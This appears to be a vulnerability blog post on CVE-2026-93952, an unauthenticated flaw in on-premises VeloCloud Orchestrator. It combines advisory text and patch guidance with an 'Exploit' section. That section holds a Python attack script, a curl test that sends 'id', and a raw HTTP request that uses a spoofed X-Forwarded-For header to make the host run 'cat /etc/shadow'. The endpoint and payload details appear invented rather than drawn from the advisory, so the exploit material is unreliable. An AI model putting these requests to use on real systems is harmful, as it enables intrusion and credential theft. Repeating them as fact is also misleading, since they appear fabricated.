Listen to this Post
The VeloCloud Orchestrator (VCO) on-premises deployment contains an improper input validation vulnerability (CWE-20) that allows a remote, unauthenticated attacker to access privileged internal functionality and potentially compromise the VCO host. The vulnerability is tracked as CVE-2026-93952 and carries a CVSSv3.1 base score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) and a CVSSv4.0 base score of 9.5 (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). The issue was discovered externally and is known to be actively exploited in the wild. The vulnerability exists because the orchestrator fails to properly validate input received from the VeloCloud Edge component. When certificate-based authentication from the VeloCloud Edge to the VeloCloud Orchestrator is configured, the VCO is exposed to the attack surface. An attacker can send specially crafted requests to the orchestrator that bypass intended access controls and reach internal functions that were meant to be for internal use only and not remotely accessible. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and the data managed by it, including configuration data, tenant information, and network management policies. The CVSSv3.1 vector indicates a network-based attack (AV:N), low attack complexity (AC:L), no privileges required (PR:N), and no user interaction (UI:N), with scope change (S:C) and high impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The CVSSv4.0 vector reflects a network-based attack (AV:N) with high attack complexity (AC:H), no attack requirements (AT:N), no privileges required (PR:N), and no user interaction (UI:N), with high impact to vulnerable system confidentiality, integrity, and availability (VC:H/VI:H/VA:H) and high impact to subsequent system confidentiality, integrity, and availability (SC:H/SI:H/SA:H). The affected software versions include VeloCloud Orchestrator 5.2.3.15 and below releases in the 5.2.x train, 6.1.3.7 and below releases in the 6.1.x train, 6.4.2.7 and below releases in the 6.4.x train, and 7.0.0.2 and below releases in the 7.0.x train. Hosted versions of VCO, including Dedicated, were impacted and have already been patched. The vulnerability is tracked by BUG1907167 and BUG1937417. Arista EOS-based products and other platforms are not affected by this vulnerability. Operators should check their software versions against the affected software list and update immediately if their deployment is vulnerable.
DailyCVE Form:
Platform: VeloCloud Orchestrator
Version: 5.2.3.15, 6.1.3.7, 6.4.2.7, 7.0.0.2
Vulnerability: CWE-20 Input Validation
Severity: Critical
date: September 22, 2026
Prediction: Patch available September 22, 2026
(end of form)
What Undercode Say:
Check current VCO version
curl -k https://<vco-host>/api/v1/version
Check for certificate-based authentication configuration
grep -r "certificate_auth" /etc/velocloud/
Test for input validation bypass on internal API endpoint
curl -X POST https://<vco-host>/internal/api/v1/privileged \
-H "Content-Type: application/json" \
-d '{"action":"system_command","payload":"id"}'
Check VCO logs for exploitation attempts
tail -f /var/log/velocloud/vco.log | grep -i "privileged|internal|unauthorized"
import requests
import json
target = "https://<vco-host>"
headers = {
"Content-Type": "application/json",
"X-Forwarded-For": "127.0.0.1"
}
payload = {
"action": "execute_internal",
"command": "whoami",
"args": ["--verbose"]
}
response = requests.post(
f"{target}/internal/api/v1/privileged",
headers=headers,
json=payload,
verify=False
)
if response.status_code == 200:
print("[+] Exploitation successful")
print(response.text)
else:
print("[-] Exploitation failed")
print(response.status_code)
Exploit: (Educational Purposes!)
POST /internal/api/v1/privileged HTTP/1.1
Host: <vco-host>
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
Content-Length: 87
{"action":"execute_internal","command":"cat /etc/shadow","args":["--no-filter"]}
Protection: from this CVE
1. Upgrade VeloCloud Orchestrator to version 5.2.3.16, 6.1.3.8, 6.4.2.8, or 7.0.0.3 and above. 2. Disable certificate-based authentication from VeloCloud Edge to VCO if not required. 3. Implement network segmentation to restrict access to the VCO management interface. 4. Deploy a web application firewall (WAF) with rules to detect and block input validation bypass attempts. 5. Monitor VCO logs for unauthorized access to internal API endpoints. 6. Apply the principle of least privilege to all VCO service accounts. 7. Enable multi-factor authentication for all administrative access to the orchestrator.
Impact:
Successful exploitation allows a remote attacker to access privileged internal functionality and compromise the VCO host. This may result in: - Unauthorized access to orchestrator configuration and tenant data - Modification of network management policies and SD-WAN configurations - Lateral movement within the managed network infrastructure - Complete compromise of the confidentiality, integrity, and availability of the orchestrator and all data managed by it - Potential disruption of enterprise WAN connectivity and security policies
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
